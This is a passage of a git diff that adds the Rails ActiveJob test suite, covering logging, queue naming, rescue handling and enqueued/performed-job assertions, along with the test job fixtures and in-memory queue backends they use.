+    set_logger @logger
+    ActiveJob::Logging::LogSubscriber.attach_to :active_job
+  end
+
+  def teardown
+    super
+    ActiveJob::Logging::LogSubscriber.log_subscribers.pop
+    set_logger @old_logger
+  end
+
+  def set_logger(logger)
+    ActiveJob::Base.logger = logger
+  end
+
+
+  def test_uses_active_job_as_tag
+    HelloJob.perform_later "Cristian"
+    assert_match(/\[ActiveJob\]/, @logger.messages)
+  end
+
+  def test_uses_job_name_as_tag
+    LoggingJob.perform_later "Dummy"
+    assert_match(/\[LoggingJob\]/, @logger.messages)
+  end
+
+  def test_uses_job_id_as_tag
+    LoggingJob.perform_later "Dummy"
+    assert_match(/\[LOGGING-JOB-ID\]/, @logger.messages)
+  end
+
+  def test_logs_correct_queue_name
+    original_queue_name = LoggingJob.queue_name
+    LoggingJob.queue_as :php_jobs
+    LoggingJob.perform_later("Dummy")
+    assert_match(/to .*?\(php_jobs\).*/, @logger.messages)
+  ensure
+    LoggingJob.queue_name = original_queue_name
+  end
+
+  def test_globalid_parameter_logging
+    person = Person.new(123)
+    LoggingJob.perform_later person
+    assert_match(%r{Enqueued.*gid://aj/Person/123}, @logger.messages)
+    assert_match(%r{Dummy, here is it: #<Person:.*>}, @logger.messages)
+    assert_match(%r{Performing.*gid://aj/Person/123}, @logger.messages)
+  end
+
+  def test_enqueue_job_logging
+    HelloJob.perform_later "Cristian"
+    assert_match(/Enqueued HelloJob \(Job ID: .*?\) to .*?:.*Cristian/, @logger.messages)
+  end
+
+  def test_perform_job_logging
+    LoggingJob.perform_later "Dummy"
+    assert_match(/Performing LoggingJob from .*? with arguments:.*Dummy/, @logger.messages)
+    assert_match(/Dummy, here is it: Dummy/, @logger.messages)
+    assert_match(/Performed LoggingJob from .*? in .*ms/, @logger.messages)
+  end
+
+  def test_perform_nested_jobs_logging
+    NestedJob.perform_later
+    assert_match(/\[LoggingJob\] \[.*?\]/, @logger.messages)
+    assert_match(/\[ActiveJob\] Enqueued NestedJob \(Job ID: .*\) to/, @logger.messages)
+    assert_match(/\[ActiveJob\] \[NestedJob\] \[NESTED-JOB-ID\] Performing NestedJob from/, @logger.messages)
+    assert_match(/\[ActiveJob\] \[NestedJob\] \[NESTED-JOB-ID\] Enqueued LoggingJob \(Job ID: .*?\) to .* with arguments: "NestedJob"/, @logger.messages)
+    assert_match(/\[ActiveJob\].*\[LoggingJob\] \[LOGGING-JOB-ID\] Performing LoggingJob from .* with arguments: "NestedJob"/, @logger.messages)
+    assert_match(/\[ActiveJob\].*\[LoggingJob\] \[LOGGING-JOB-ID\] Dummy, here is it: NestedJob/, @logger.messages)
+    assert_match(/\[ActiveJob\].*\[LoggingJob\] \[LOGGING-JOB-ID\] Performed LoggingJob from .* in/, @logger.messages)
+    assert_match(/\[ActiveJob\] \[NestedJob\] \[NESTED-JOB-ID\] Performed NestedJob from .* in/, @logger.messages)
+  end
+
+  def test_enqueue_at_job_logging
+    HelloJob.set(wait_until: 24.hours.from_now).perform_later "Cristian"
+    assert_match(/Enqueued HelloJob \(Job ID: .*\) to .*? at.*Cristian/, @logger.messages)
+  rescue NotImplementedError
+    skip
+  end
+
+  def test_enqueue_in_job_logging
+    HelloJob.set(wait: 2.seconds).perform_later "Cristian"
+    assert_match(/Enqueued HelloJob \(Job ID: .*\) to .*? at.*Cristian/, @logger.messages)
+  rescue NotImplementedError
+    skip
+  end
+end
diff --git a/activejob/test/cases/queue_naming_test.rb b/activejob/test/cases/queue_naming_test.rb
new file mode 100644
index 0000000000..898016a704
--- /dev/null
+++ b/activejob/test/cases/queue_naming_test.rb
@@ -0,0 +1,102 @@
+require 'helper'
+require 'jobs/hello_job'
+require 'jobs/logging_job'
+require 'jobs/nested_job'
+
+class QueueNamingTest < ActiveSupport::TestCase
+  test 'name derived from base' do
+    assert_equal "default", HelloJob.queue_name
+  end
+
+  test 'uses given queue name job' do
+    original_queue_name = HelloJob.queue_name
+
+    begin
+      HelloJob.queue_as :greetings
+      assert_equal "greetings", HelloJob.new.queue_name
+    ensure
+      HelloJob.queue_name = original_queue_name
+    end
+  end
+
+  test 'allows a blank queue name' do
+    original_queue_name = HelloJob.queue_name
+
+    begin
+      HelloJob.queue_as ""
+      assert_equal "", HelloJob.new.queue_name
+    ensure
+      HelloJob.queue_name = original_queue_name
+    end
+  end
+
+  test 'does not use a nil queue name' do
+    original_queue_name = HelloJob.queue_name
+
+    begin
+      HelloJob.queue_as nil
+      assert_equal "default", HelloJob.new.queue_name
+    ensure
+      HelloJob.queue_name = original_queue_name
+    end
+  end
+
+  test 'evals block given to queue_as to determine queue' do
+    original_queue_name = HelloJob.queue_name
+
+    begin
+      HelloJob.queue_as { :another }
+      assert_equal "another", HelloJob.new.queue_name
+    ensure
+      HelloJob.queue_name = original_queue_name
+    end
+  end
+
+  test 'can use arguments to determine queue_name in queue_as block' do
+    original_queue_name = HelloJob.queue_name
+
+    begin
+      HelloJob.queue_as { self.arguments.first=='1' ? :one : :two }
+      assert_equal "one", HelloJob.new('1').queue_name
+      assert_equal "two", HelloJob.new('3').queue_name
+    ensure
+      HelloJob.queue_name = original_queue_name
+    end
+  end
+
+  test 'queue_name_prefix prepended to the queue name with default delimiter' do
+    original_queue_name_prefix = ActiveJob::Base.queue_name_prefix
+    original_queue_name = HelloJob.queue_name
+
+    begin
+      ActiveJob::Base.queue_name_prefix = 'aj'
+      HelloJob.queue_as :low
+      assert_equal 'aj_low', HelloJob.queue_name
+    ensure
+      ActiveJob::Base.queue_name_prefix = original_queue_name_prefix
+      HelloJob.queue_name = original_queue_name
+    end
+  end
+
+  test 'queue_name_prefix prepended to the queue name with custom delimiter' do
+    original_queue_name_prefix = ActiveJob::Base.queue_name_prefix
+    original_queue_name_delimiter = ActiveJob::Base.queue_name_delimiter
+    original_queue_name = HelloJob.queue_name
+
+    begin
+      ActiveJob::Base.queue_name_delimiter = '.'
+      ActiveJob::Base.queue_name_prefix = 'aj'
+      HelloJob.queue_as :low
+      assert_equal 'aj.low', HelloJob.queue_name
+    ensure
+      ActiveJob::Base.queue_name_prefix = original_queue_name_prefix
+      ActiveJob::Base.queue_name_delimiter = original_queue_name_delimiter
+      HelloJob.queue_name = original_queue_name
+    end
+  end
+
+  test 'uses queue passed to #set' do
+    job = HelloJob.set(queue: :some_queue).perform_later
+    assert_equal "some_queue", job.queue_name
+  end
+end
diff --git a/activejob/test/cases/queuing_test.rb b/activejob/test/cases/queuing_test.rb
new file mode 100644
index 0000000000..0eeabbf693
--- /dev/null
+++ b/activejob/test/cases/queuing_test.rb
@@ -0,0 +1,44 @@
+require 'helper'
+require 'jobs/hello_job'
+require 'active_support/core_ext/numeric/time'
+
+
+class QueuingTest < ActiveSupport::TestCase
+  setup do
+    JobBuffer.clear
+  end
+
+  test 'run queued job' do
+    HelloJob.perform_later
+    assert_equal "David says hello", JobBuffer.last_value
+  end
+
+  test 'run queued job with arguments' do
+    HelloJob.perform_later "Jamie"
+    assert_equal "Jamie says hello", JobBuffer.last_value
+  end
+
+  test 'run queued job later' do
+    begin
+      result = HelloJob.set(wait_until: 1.second.ago).perform_later "Jamie"
+      assert result
+    rescue NotImplementedError
+      skip
+    end
+  end
+
+  test 'job returned by enqueue has the arguments available' do
+    job = HelloJob.perform_later "Jamie"
+    assert_equal [ "Jamie" ], job.arguments
+  end
+
+
+  test 'job returned by perform_at has the timestamp available' do
+    begin
+      job = HelloJob.set(wait_until: Time.utc(2014, 1, 1)).perform_later
+      assert_equal Time.utc(2014, 1, 1).to_f, job.scheduled_at
+    rescue NotImplementedError
+      skip
+    end
+  end
+end
diff --git a/activejob/test/cases/rescue_test.rb b/activejob/test/cases/rescue_test.rb
new file mode 100644
index 0000000000..58c9ca8992
--- /dev/null
+++ b/activejob/test/cases/rescue_test.rb
@@ -0,0 +1,34 @@
+require 'helper'
+require 'jobs/rescue_job'
+require 'models/person'
+
+class RescueTest < ActiveSupport::TestCase
+  setup do
+    JobBuffer.clear
+  end
+
+  test 'rescue perform exception with retry' do
+    job = RescueJob.new("david")
+    job.perform_now
+    assert_equal [ "rescued from ArgumentError", "performed beautifully" ], JobBuffer.values
+  end
+
+  test 'let through unhandled perform exception' do
+    job = RescueJob.new("other")
+    assert_raises(RescueJob::OtherError) do
+      job.perform_now
+    end
+  end
+
+  test 'rescue from deserialization errors' do
+    RescueJob.perform_later Person.new(404)
+    assert_includes JobBuffer.values, 'rescued from DeserializationError'
+    assert_includes JobBuffer.values, 'DeserializationError original exception was Person::RecordNotFound'
+    assert_not_includes JobBuffer.values, 'performed beautifully'
+  end
+
+  test "should not wrap DeserializationError in DeserializationError" do
+    RescueJob.perform_later [Person.new(404)]
+    assert_includes JobBuffer.values, 'DeserializationError original exception was Person::RecordNotFound'
+  end
+end
diff --git a/activejob/test/cases/test_case_test.rb b/activejob/test/cases/test_case_test.rb
new file mode 100644
index 0000000000..1d0fdbd22d
--- /dev/null
+++ b/activejob/test/cases/test_case_test.rb
@@ -0,0 +1,14 @@
+require 'helper'
+require 'jobs/hello_job'
+require 'jobs/logging_job'
+require 'jobs/nested_job'
+
+class ActiveJobTestCaseTest < ActiveJob::TestCase
+  def test_include_helper
+    assert_includes self.class.ancestors, ActiveJob::TestHelper
+  end
+
+  def test_set_test_adapter
+    assert_instance_of ActiveJob::QueueAdapters::TestAdapter, self.queue_adapter
+  end
+end
diff --git a/activejob/test/cases/test_helper_test.rb b/activejob/test/cases/test_helper_test.rb
new file mode 100644
index 0000000000..58de2f2588
--- /dev/null
+++ b/activejob/test/cases/test_helper_test.rb
@@ -0,0 +1,402 @@
+require 'helper'
+require 'active_support/core_ext/time'
+require 'active_support/core_ext/date'
+require 'jobs/hello_job'
+require 'jobs/logging_job'
+require 'jobs/nested_job'
+require 'jobs/rescue_job'
+require 'models/person'
+
+class EnqueuedJobsTest < ActiveJob::TestCase
+  def test_assert_enqueued_jobs
+    assert_nothing_raised do
+      assert_enqueued_jobs 1 do
+        HelloJob.perform_later('david')
+      end
+    end
+  end
+
+  def test_repeated_enqueued_jobs_calls
+    assert_nothing_raised do
+      assert_enqueued_jobs 1 do
+        HelloJob.perform_later('abdelkader')
+      end
+    end
+
+    assert_nothing_raised do
+      assert_enqueued_jobs 2 do
+        HelloJob.perform_later('sean')
+        HelloJob.perform_later('yves')
+      end
+    end
+  end
+
+  def test_assert_enqueued_jobs_with_no_block
+    assert_nothing_raised do
+      HelloJob.perform_later('rafael')
+      assert_enqueued_jobs 1
+    end
+
+    assert_nothing_raised do
+      HelloJob.perform_later('aaron')
+      HelloJob.perform_later('matthew')
+      assert_enqueued_jobs 3
+    end
+  end
+
+  def test_assert_no_enqueued_jobs_with_no_block
+    assert_nothing_raised do
+      assert_no_enqueued_jobs
+    end
+  end
+
+  def test_assert_no_enqueued_jobs
+    assert_nothing_raised do
+      assert_no_enqueued_jobs do
+        HelloJob.perform_now
+      end
+    end
+  end
+
+  def test_assert_enqueued_jobs_too_few_sent
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_enqueued_jobs 2 do
+        HelloJob.perform_later('xavier')
+      end
+    end
+
+    assert_match(/2 .* but 1/, error.message)
+  end
+
+  def test_assert_enqueued_jobs_too_many_sent
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_enqueued_jobs 1 do
+        HelloJob.perform_later('cristian')
+        HelloJob.perform_later('guillermo')
+      end
+    end
+
+    assert_match(/1 .* but 2/, error.message)
+  end
+
+  def test_assert_no_enqueued_jobs_failure
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_no_enqueued_jobs do
+        HelloJob.perform_later('jeremy')
+      end
+    end
+
+    assert_match(/0 .* but 1/, error.message)
+  end
+
+  def test_assert_enqueued_jobs_with_only_option
+    assert_nothing_raised do
+      assert_enqueued_jobs 1, only: HelloJob do
+        HelloJob.perform_later('jeremy')
+        LoggingJob.perform_later
+      end
+    end
+  end
+
+  def test_assert_enqueued_jobs_with_only_option_and_none_sent
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_enqueued_jobs 1, only: HelloJob do
+        LoggingJob.perform_later
+      end
+    end
+
+    assert_match(/1 .* but 0/, error.message)
+  end
+
+  def test_assert_enqueued_jobs_with_only_option_and_too_few_sent
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_enqueued_jobs 5, only: HelloJob do
+        HelloJob.perform_later('jeremy')
+        4.times { LoggingJob.perform_later }
+      end
+    end
+
+    assert_match(/5 .* but 1/, error.message)
+  end
+
+  def test_assert_enqueued_jobs_with_only_option_and_too_many_sent
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_enqueued_jobs 1, only: HelloJob do
+        2.times { HelloJob.perform_later('jeremy') }
+      end
+    end
+
+    assert_match(/1 .* but 2/, error.message)
+  end
+
+  def test_assert_no_enqueued_jobs_with_only_option
+    assert_nothing_raised do
+      assert_no_enqueued_jobs only: HelloJob do
+        LoggingJob.perform_later
+      end
+    end
+  end
+
+  def test_assert_no_enqueued_jobs_with_only_option_failure
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_no_enqueued_jobs only: HelloJob do
+        HelloJob.perform_later('jeremy')
+        LoggingJob.perform_later
+      end
+    end
+
+    assert_match(/0 .* but 1/, error.message)
+  end
+
+  def test_assert_enqueued_job
+    assert_enqueued_with(job: LoggingJob, queue: 'default') do
+      LoggingJob.set(wait_until: Date.tomorrow.noon).perform_later
+    end
+  end
+
+  def test_assert_enqueued_job_failure
+    assert_raise ActiveSupport::TestCase::Assertion do
+      assert_enqueued_with(job: LoggingJob, queue: 'default') do
+        NestedJob.perform_later
+      end
+    end
+
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_enqueued_with(job: NestedJob, queue: 'low') do
+        NestedJob.perform_later
+      end
+    end
+
+    assert_equal 'No enqueued job found with {:job=>NestedJob, :queue=>"low"}', error.message
+  end
+
+  def test_assert_enqueued_job_args
+    assert_raise ArgumentError do
+      assert_enqueued_with(class: LoggingJob) do
+        NestedJob.set(wait_until: Date.tomorrow.noon).perform_later
+      end
+    end
+  end
+
+  def test_assert_enqueued_job_with_global_id_args
+    ricardo = Person.new(9)
+    assert_enqueued_with(job: HelloJob, args: [ricardo]) do
+      HelloJob.perform_later(ricardo)
+    end
+  end
+
+  def test_assert_enqueued_job_failure_with_global_id_args
+    ricardo = Person.new(9)
+    wilma = Person.new(11)
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_enqueued_with(job: HelloJob, args: [wilma]) do
+        HelloJob.perform_later(ricardo)
+      end
+    end
+
+    assert_equal "No enqueued job found with {:job=>HelloJob, :args=>[#{wilma.inspect}]}", error.message
+  end
+end
+
+class PerformedJobsTest < ActiveJob::TestCase
+  def test_assert_performed_jobs
+    assert_nothing_raised do
+      assert_performed_jobs 1 do
+        HelloJob.perform_later('david')
+      end
+    end
+  end
+
+  def test_repeated_performed_jobs_calls
+    assert_nothing_raised do
+      assert_performed_jobs 1 do
+        HelloJob.perform_later('abdelkader')
+      end
+    end
+
+    assert_nothing_raised do
+      assert_performed_jobs 2 do
+        HelloJob.perform_later('sean')
+        HelloJob.perform_later('yves')
+      end
+    end
+  end
+
+  def test_assert_performed_jobs_with_no_block
+    assert_nothing_raised do
+      perform_enqueued_jobs do
+        HelloJob.perform_later('rafael')
+      end
+      assert_performed_jobs 1
+    end
+
+    assert_nothing_raised do
+      perform_enqueued_jobs do
+        HelloJob.perform_later('aaron')
+        HelloJob.perform_later('matthew')
+        assert_performed_jobs 3
+      end
+    end
+  end
+
+  def test_assert_no_performed_jobs_with_no_block
+    assert_nothing_raised do
+      assert_no_performed_jobs
+    end
+  end
+
+  def test_assert_no_performed_jobs
+    assert_nothing_raised do
+      assert_no_performed_jobs do
+        # empty block won't perform jobs
+      end
+    end
+  end
+
+  def test_assert_performed_jobs_too_few_sent
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_performed_jobs 2 do
+        HelloJob.perform_later('xavier')
+      end
+    end
+
+    assert_match(/2 .* but 1/, error.message)
+  end
+
+  def test_assert_performed_jobs_too_many_sent
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_performed_jobs 1 do
+        HelloJob.perform_later('cristian')
+        HelloJob.perform_later('guillermo')
+      end
+    end
+
+    assert_match(/1 .* but 2/, error.message)
+  end
+
+  def test_assert_no_performed_jobs_failure
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_no_performed_jobs do
+        HelloJob.perform_later('jeremy')
+      end
+    end
+
+    assert_match(/0 .* but 1/, error.message)
+  end
+
+  def test_assert_performed_jobs_with_only_option
+    assert_nothing_raised do
+      assert_performed_jobs 1, only: HelloJob do
+        HelloJob.perform_later('jeremy')
+        LoggingJob.perform_later
+      end
+    end
+  end
+
+  def test_assert_performed_jobs_with_only_option_as_array
+    assert_nothing_raised do
+      assert_performed_jobs 2, only: [HelloJob, LoggingJob] do
+        HelloJob.perform_later('jeremy')
+        LoggingJob.perform_later('stewie')
+        RescueJob.perform_later('david')
+      end
+    end
+  end
+
+  def test_assert_performed_jobs_with_only_option_and_none_sent
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_performed_jobs 1, only: HelloJob do
+        LoggingJob.perform_later
+      end
+    end
+
+    assert_match(/1 .* but 0/, error.message)
+  end
+
+  def test_assert_performed_jobs_with_only_option_and_too_few_sent
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_performed_jobs 5, only: HelloJob do
+        HelloJob.perform_later('jeremy')
+        4.times { LoggingJob.perform_later }
+      end
+    end
+
+    assert_match(/5 .* but 1/, error.message)
+  end
+
+  def test_assert_performed_jobs_with_only_option_and_too_many_sent
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_performed_jobs 1, only: HelloJob do
+        2.times { HelloJob.perform_later('jeremy') }
+      end
+    end
+
+    assert_match(/1 .* but 2/, error.message)
+  end
+
+  def test_assert_no_performed_jobs_with_only_option
+    assert_nothing_raised do
+      assert_no_performed_jobs only: HelloJob do
+        LoggingJob.perform_later
+      end
+    end
+  end
+
+  def test_assert_no_performed_jobs_with_only_option_as_array
+    assert_nothing_raised do
+      assert_no_performed_jobs only: [HelloJob, RescueJob] do
+        LoggingJob.perform_later
+      end
+    end
+  end
+
+  def test_assert_no_performed_jobs_with_only_option_failure
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_no_performed_jobs only: HelloJob do
+        HelloJob.perform_later('jeremy')
+        LoggingJob.perform_later
+      end
+    end
+
+    assert_match(/0 .* but 1/, error.message)
+  end
+
+  def test_assert_performed_job
+    assert_performed_with(job: NestedJob, queue: 'default') do
+      NestedJob.perform_later
+    end
+  end
+
+  def test_assert_performed_job_failure
+    assert_raise ActiveSupport::TestCase::Assertion do
+      assert_performed_with(job: LoggingJob, at: Date.tomorrow.noon, queue: 'default') do
+        NestedJob.set(wait_until: Date.tomorrow.noon).perform_later
+      end
+    end
+
+    assert_raise ActiveSupport::TestCase::Assertion do
+      assert_performed_with(job: NestedJob, at: Date.tomorrow.noon, queue: 'low') do
+        NestedJob.set(queue: 'low', wait_until: Date.tomorrow.noon).perform_later
+      end
+    end
+  end
+
+  def test_assert_performed_job_with_global_id_args
+    ricardo = Person.new(9)
+    assert_performed_with(job: HelloJob, args: [ricardo]) do
+      HelloJob.perform_later(ricardo)
+    end
+  end
+
+  def test_assert_performed_job_failure_with_global_id_args
+    ricardo = Person.new(9)
+    wilma = Person.new(11)
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_performed_with(job: HelloJob, args: [wilma]) do
+        HelloJob.perform_later(ricardo)
+      end
+    end
+
+    assert_equal "No performed job found with {:job=>HelloJob, :args=>[#{wilma.inspect}]}", error.message
+  end
+end
diff --git a/activejob/test/helper.rb b/activejob/test/helper.rb
new file mode 100644
index 0000000000..db5265d7b2
--- /dev/null
+++ b/activejob/test/helper.rb
@@ -0,0 +1,18 @@
+require File.expand_path('../../../load_paths', __FILE__)
+
+require 'active_job'
+require 'support/job_buffer'
+
+GlobalID.app = 'aj'
+
+@adapter  = ENV['AJADAPTER'] || 'inline'
+
+if ENV['AJ_INTEGRATION_TESTS']
+  require 'support/integration/helper'
+else
+  require "adapters/#{@adapter}"
+end
+
+require 'active_support/testing/autorun'
+
+ActiveSupport::TestCase.test_order = :random
diff --git a/activejob/test/integration/queuing_test.rb b/activejob/test/integration/queuing_test.rb
new file mode 100644
index 0000000000..38874b51a8
--- /dev/null
+++ b/activejob/test/integration/queuing_test.rb
@@ -0,0 +1,47 @@
+require 'helper'
+require 'jobs/logging_job'
+require 'active_support/core_ext/numeric/time'
+
+class QueuingTest < ActiveSupport::TestCase
+  test 'should run jobs enqueued on a listening queue' do
+    TestJob.perform_later @id
+    wait_for_jobs_to_finish_for(5.seconds)
+    assert job_executed
+  end
+
+  test 'should not run jobs queued on a non-listening queue' do
+    skip if adapter_is?(:inline) || adapter_is?(:sucker_punch)
+    old_queue = TestJob.queue_name
+
+    begin
+      TestJob.queue_as :some_other_queue
+      TestJob.perform_later @id
+      wait_for_jobs_to_finish_for(2.seconds)
+      assert_not job_executed
+    ensure
+      TestJob.queue_name = old_queue
+    end
+  end
+
+  test 'should not run job enqueued in the future' do
+    begin
+      TestJob.set(wait: 10.minutes).perform_later @id
+      wait_for_jobs_to_finish_for(5.seconds)
+      assert_not job_executed
+    rescue NotImplementedError
+      skip
+    end
+  end
+
+  test 'should run job enqueued in the future at the specified time' do
+    begin
+      TestJob.set(wait: 3.seconds).perform_later @id
+      wait_for_jobs_to_finish_for(2.seconds)
+      assert_not job_executed
+      wait_for_jobs_to_finish_for(10.seconds)
+      assert job_executed
+    rescue NotImplementedError
+      skip
+    end
+  end
+end
diff --git a/activejob/test/jobs/callback_job.rb b/activejob/test/jobs/callback_job.rb
new file mode 100644
index 0000000000..891ed9464e
--- /dev/null
+++ b/activejob/test/jobs/callback_job.rb
@@ -0,0 +1,29 @@
+class CallbackJob < ActiveJob::Base
+  before_perform ->(job) { job.history << "CallbackJob ran before_perform" }
+  after_perform ->(job) { job.history << "CallbackJob ran after_perform" }
+
+  before_enqueue ->(job) { job.history << "CallbackJob ran before_enqueue" }
+  after_enqueue ->(job) { job.history << "CallbackJob ran after_enqueue" }
+
+  around_perform do |job, block|
+    job.history << "CallbackJob ran around_perform_start"
+    block.call
+    job.history << "CallbackJob ran around_perform_stop"
+  end
+
+  around_enqueue do |job, block|
+    job.history << "CallbackJob ran around_enqueue_start"
+    block.call
+    job.history << "CallbackJob ran around_enqueue_stop"
+  end
+
+
+  def perform(person = "david")
+    # NOTHING!
+  end
+
+  def history
+    @history ||= []
+  end
+
+end
diff --git a/activejob/test/jobs/gid_job.rb b/activejob/test/jobs/gid_job.rb
new file mode 100644
index 0000000000..e485bfa2dd
--- /dev/null
+++ b/activejob/test/jobs/gid_job.rb
@@ -0,0 +1,8 @@
+require_relative '../support/job_buffer'
+
+class GidJob < ActiveJob::Base
+  def perform(person)
+    JobBuffer.add("Person with ID: #{person.id}")
+  end
+end
+
diff --git a/activejob/test/jobs/hello_job.rb b/activejob/test/jobs/hello_job.rb
new file mode 100644
index 0000000000..022fa58e4a
--- /dev/null
+++ b/activejob/test/jobs/hello_job.rb
@@ -0,0 +1,7 @@
+require_relative '../support/job_buffer'
+
+class HelloJob < ActiveJob::Base
+  def perform(greeter = "David")
+    JobBuffer.add("#{greeter} says hello")
+  end
+end
diff --git a/activejob/test/jobs/kwargs_job.rb b/activejob/test/jobs/kwargs_job.rb
new file mode 100644
index 0000000000..2df17d15ae
--- /dev/null
+++ b/activejob/test/jobs/kwargs_job.rb
@@ -0,0 +1,7 @@
+require_relative '../support/job_buffer'
+
+class KwargsJob < ActiveJob::Base
+  def perform(argument: 1)
+    JobBuffer.add("Job with argument: #{argument}")
+  end
+end
diff --git a/activejob/test/jobs/logging_job.rb b/activejob/test/jobs/logging_job.rb
new file mode 100644
index 0000000000..d84ed8589b
--- /dev/null
+++ b/activejob/test/jobs/logging_job.rb
@@ -0,0 +1,10 @@
+class LoggingJob < ActiveJob::Base
+  def perform(dummy)
+    logger.info "Dummy, here is it: #{dummy}"
+  end
+
+  def job_id
+    "LOGGING-JOB-ID"
+  end
+end
+
diff --git a/activejob/test/jobs/nested_job.rb b/activejob/test/jobs/nested_job.rb
new file mode 100644
index 0000000000..8c4ec549a6
--- /dev/null
+++ b/activejob/test/jobs/nested_job.rb
@@ -0,0 +1,10 @@
+class NestedJob < ActiveJob::Base
+  def perform
+    LoggingJob.perform_later "NestedJob"
+  end
+
+  def job_id
+    "NESTED-JOB-ID"
+  end
+end
+
diff --git a/activejob/test/jobs/rescue_job.rb b/activejob/test/jobs/rescue_job.rb
new file mode 100644
index 0000000000..f1b9c9349e
--- /dev/null
+++ b/activejob/test/jobs/rescue_job.rb
@@ -0,0 +1,27 @@
+require_relative '../support/job_buffer'
+
+class RescueJob < ActiveJob::Base
+  class OtherError < StandardError; end
+
+  rescue_from(ArgumentError) do
+    JobBuffer.add('rescued from ArgumentError')
+    arguments[0] = "DIFFERENT!"
+    retry_job
+  end
+
+  rescue_from(ActiveJob::DeserializationError) do |e|
+    JobBuffer.add('rescued from DeserializationError')
+    JobBuffer.add("DeserializationError original exception was #{e.original_exception.class.name}")
+  end
+
+  def perform(person = "david")
+    case person
+    when "david"
+      raise ArgumentError, "Hair too good"
+    when "other"
+      raise OtherError
+    else
+      JobBuffer.add('performed beautifully')
+    end
+  end
+end
diff --git a/activejob/test/models/person.rb b/activejob/test/models/person.rb
new file mode 100644
index 0000000000..76a8f40616
--- /dev/null
+++ b/activejob/test/models/person.rb
@@ -0,0 +1,20 @@
+class Person
+  class RecordNotFound < StandardError; end
+
+  include GlobalID::Identification
+
+  attr_reader :id
+
+  def self.find(id)
+    raise RecordNotFound.new("Cannot find person with ID=404") if id.to_i==404
+    new(id)
+  end
+
+  def initialize(id)
+    @id = id
+  end
+
+  def ==(other_person)
+    other_person.is_a?(Person) && id.to_s == other_person.id.to_s
+  end
+end
diff --git a/activejob/test/support/backburner/inline.rb b/activejob/test/support/backburner/inline.rb
new file mode 100644
index 0000000000..f761b53e27
--- /dev/null
+++ b/activejob/test/support/backburner/inline.rb
@@ -0,0 +1,8 @@
+require 'backburner'
+
+Backburner::Worker.class_eval do
+  class << self; alias_method :original_enqueue, :enqueue; end
+  def self.enqueue(job_class, args=[], opts={})
+    job_class.perform(*args)
+  end
+end
\ No newline at end of file
diff --git a/activejob/test/support/delayed_job/delayed/backend/test.rb b/activejob/test/support/delayed_job/delayed/backend/test.rb
new file mode 100644
index 0000000000..f80ec3a5a6
--- /dev/null
+++ b/activejob/test/support/delayed_job/delayed/backend/test.rb
@@ -0,0 +1,111 @@
+#copied from https://github.com/collectiveidea/delayed_job/blob/master/spec/delayed/backend/test.rb
+require 'ostruct'
+
+# An in-memory backend suitable only for testing. Tries to behave as if it were an ORM.
+module Delayed
+  module Backend
+    module Test
+      class Job
+        attr_accessor :id
+        attr_accessor :priority
+        attr_accessor :attempts
+        attr_accessor :handler
+        attr_accessor :last_error
+        attr_accessor :run_at
+        attr_accessor :locked_at
+        attr_accessor :locked_by
+        attr_accessor :failed_at
+        attr_accessor :queue
+
+        include Delayed::Backend::Base
+
+        cattr_accessor :id
+        self.id = 0
+
+        def initialize(hash = {})
+          self.attempts = 0
+          self.priority = 0
+          self.id = (self.class.id += 1)
+          hash.each{|k,v| send(:"#{k}=", v)}
+        end
+
+        @jobs = []
+        def self.all
+          @jobs
+        end
+
+        def self.count
+          all.size
+        end
+
+        def self.delete_all
+          all.clear
+        end
+
+        def self.create(attrs = {})
+          new(attrs).tap(&:save)
+        end
+
+        def self.create!(*args); create(*args); end
+
+        def self.clear_locks!(worker_name)
+          all.select{|j| j.locked_by == worker_name}.each {|j| j.locked_by = nil; j.locked_at = nil}
+        end
+
+        # Find a few candidate jobs to run (in case some immediately get locked by others).
+        def self.find_available(worker_name, limit = 5, max_run_time = Worker.max_run_time)
+          jobs = all.select do |j|
+            j.run_at <= db_time_now &&
+            (j.locked_at.nil? || j.locked_at < db_time_now - max_run_time || j.locked_by == worker_name) &&
+            !j.failed?
+          end
+
+          jobs = jobs.select{|j| Worker.queues.include?(j.queue)}   if Worker.queues.any?
+          jobs = jobs.select{|j| j.priority >= Worker.min_priority} if Worker.min_priority
+          jobs = jobs.select{|j| j.priority <= Worker.max_priority} if Worker.max_priority
+          jobs.sort_by{|j| [j.priority, j.run_at]}[0..limit-1]
+        end
+
+        # Lock this job for this worker.
+        # Returns true if we have the lock, false otherwise.
+        def lock_exclusively!(max_run_time, worker)
+          now = self.class.db_time_now
+          if locked_by != worker
+            # We don't own this job so we will update the locked_by name and the locked_at
+            self.locked_at = now
+            self.locked_by = worker
+          end
+
+          return true
+        end
+
+        def self.db_time_now
+          Time.current
+        end
+
+        def update_attributes(attrs = {})
+          attrs.each{|k,v| send(:"#{k}=", v)}
+          save
+        end
+
+        def destroy
+          self.class.all.delete(self)
+        end
+
+        def save
+          self.run_at ||= Time.current
+
+          self.class.all << self unless self.class.all.include?(self)
+          true
+        end
+
+        def save!; save; end
+
+        def reload
+          reset
+          self
+        end
+      end
+    end
+  end
+end
diff --git a/guides/code/getting_started/app/controllers/concerns/.keep b/activejob/test/support/delayed_job/delayed/serialization/test.rb
index e69de29bb2..e69de29bb2 100644
--- a/guides/code/getting_started/app/controllers/concerns/.keep
+++ b/activejob/test/support/delayed_job/delayed/serialization/test.rb
diff --git a/activejob/test/support/integration/adapters/backburner.rb b/activejob/test/support/integration/adapters/backburner.rb
new file mode 100644
index 0000000000..2e82562948
--- /dev/null
+++ b/activejob/test/support/integration/adapters/backburner.rb
@@ -0,0 +1,38 @@
+module BackburnerJobsManager
+  def setup
